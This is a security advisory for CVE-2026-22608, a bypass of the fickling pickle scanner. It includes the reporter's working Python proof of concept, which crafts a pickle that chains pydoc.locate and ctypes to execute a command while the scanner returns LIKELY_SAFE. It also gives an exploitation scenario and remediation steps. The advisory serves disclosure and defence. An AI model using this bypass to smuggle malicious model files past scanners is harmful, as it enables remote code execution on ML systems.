fickling — the de facto ML model security scanner — can be bypassed via a crafted pickle file that chains pydoc.locate() with ctypes to achieve RCE while returning LIKELY_SAFE. Any ML pipeline using fickling <= 0.1.6 as a security gate for model loading is operating under false confidence. Update to fickling 0.1.7 immediately and treat every LIKELY_SAFE verdict issued by the old version as untrusted.
Affected Systems
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| fickling | pip | <= 0.1.6 | 0.1.7 |
Do you use fickling? You're affected.
Severity & Risk
Recommended Action
- 1) PATCH: Upgrade fickling to >= 0.1.7 immediately — pydoc and ctypes are now explicitly blocked. 2) AUDIT: Re-scan all pickle files accepted since 2026-01-09 with the patched version; any prior LIKELY_SAFE verdict is untrustworthy. 3) ARCHITECTURE: Migrate model weights to safetensors format to eliminate pickle as an attack surface entirely. 4) ISOLATION: Run model deserialization in sandboxed environments (containers with no network, seccomp/gVisor syscall restrictions) to contain RCE blast radius even if a scanner is bypassed. 5) DETECTION: Alert on pydoc.locate() calls at runtime; add fickling version to your software composition analysis (SCA) toolchain. 6) DEFENSE-IN-DEPTH: Fickling must be one layer, not the only layer — combine with hash pinning of model artifacts, signed manifests, and runtime sandboxing.
Classification
Compliance Impact
This CVE is relevant to:
Technical Details
NVD Description
# Fickling's assessment `pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1). # Original report ### Summary Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE ### Details Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1). To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin ### PoC ```python import os GLOBAL = b'c' STRING = b'S' BININT = b'K' TUPLE1 = b'\x85' TUPLE2 = b'\x86' EMPTY_TUPLE = b')' REDUCE = b'R' PUT = b'p' GET = b'g' POP = b'0' EMPTY_DICT = b'}' SETITEM = b's' BUILD = b'b' STOP = b'.' def generate_stealth_payload(): payload = b"" payload += GLOBAL + b"pydoc\nlocate\n" payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n" payload += TUPLE1 + REDUCE payload += PUT + b"0\n" # Var 0 = <_FuncPtr WinExec> payload += POP payload += GET + b"0\n" payload += b"C" + b"\x08" + b"calc.exe" payload += BININT + b"\x01" payload += TUPLE2 + REDUCE payload += PUT + b"1\n" # Var 1 = Execution Result payload += POP payload += GLOBAL + b"builtins\nException\n" payload += EMPTY_TUPLE + REDUCE payload += PUT + b"2\n" # Var 2 = Exception instance payload += EMPTY_DICT payload += STRING + b"'rce_status'\n" payload += GET + b"1\n" payload += SETITEM # { 'rce_status': result } payload += BUILD payload += STOP return payload data = generate_stealth_payload() with open("stealth_ctypes.pkl", "wb") as f: f.write(data) print("Generated 'stealth_ctypes.pkl'") ```` What fickling sees ```python from pydoc import locate _var0 = locate('ctypes.windll.kernel32.WinExec') _var1 = _var0(b'calc.exe', 1) _var2 = Exception() _var3 = _var2 _var3.__setstate__({'rce_status': _var1}) result0 = _var3 ``` <img width="915" height="197" alt="image" src="https://github.com/user-attachments/assets/b5d81e0d-4946-4768-a704-618a4554ae7a" />
Exploitation Scenario
Adversary publishes a malicious .pkl file to a public model hub or compromises an internal model registry. The file passes fickling <= 0.1.6 scan (pydoc and ctypes not blocked), receiving LIKELY_SAFE status. An automated MLOps pipeline or data scientist downloads and loads the model for fine-tuning or inference evaluation — triggering the embedded pickle opcodes. The payload resolves ctypes.windll.kernel32.WinExec (or Linux CDLL equivalent) via pydoc.locate() and executes attacker-controlled commands on the ML training node or inference server, yielding persistent access to GPU infrastructure, proprietary model weights, and training datasets.
Weaknesses (CWE)
References
- github.com/advisories/GHSA-5hvc-6wx8-mvv4
- github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py
- github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1
- github.com/trailofbits/fickling/commit/d0b00d584afb5c58e38991cd544cb3889de90db6
- github.com/trailofbits/fickling/pull/195
- github.com/trailofbits/fickling/releases/tag/v0.1.7
- github.com/trailofbits/fickling/security/advisories/GHSA-5hvc-6wx8-mvv4
- nvd.nist.gov/vuln/detail/CVE-2026-22608